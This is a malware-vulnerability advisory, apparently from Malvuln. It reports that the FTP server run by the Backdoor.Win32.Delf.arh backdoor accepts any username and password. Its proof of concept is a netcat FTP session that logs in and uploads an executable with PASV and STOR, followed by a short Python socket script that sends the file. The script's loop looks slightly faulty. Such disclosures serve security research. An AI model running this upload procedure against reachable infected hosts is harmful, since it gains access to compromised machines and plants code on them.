Backdoor.Win32.Delf.arh malware suffers from an authentication bypass vulnerability.
e5c413409b33c8c771245af2c651a2554e93871a2544df61fe5e997eedfd885bDiscovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/b3b19524967d22d6eb7517b03b660b00.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Delf.arh
Vulnerability: Authentication Bypass
Description: The malware runs an FTP server. Third-party adversarys who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands.
Family: Delf
Type: PE32
MD5: b3b19524967d22d6eb7517b03b660b00
Vuln ID: MVID-2022-0650
Disclosure: 10/22/2022
Exploit/PoC:
C:\>nc64.exe 192.168.18.125 21
220 ICS FTP Server ready.
USER malvuln
331 Password required for malvuln.
PASS malvuln
230 User malvuln logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP \
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,246,88).
STOR DOOM_SM.exe
150 Opening data connection for DOOM_SM.exe.
226 File received ok
from socket import *
MALWARE_HOST="192.168.18.125"
PORT=63064
DOOM="DOOM_SM.exe"
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)
while EXE:
s.send(EXE)
EXE=f.read()
s.close()
print("By Malvuln");
if __name__=="__main__":
doit()
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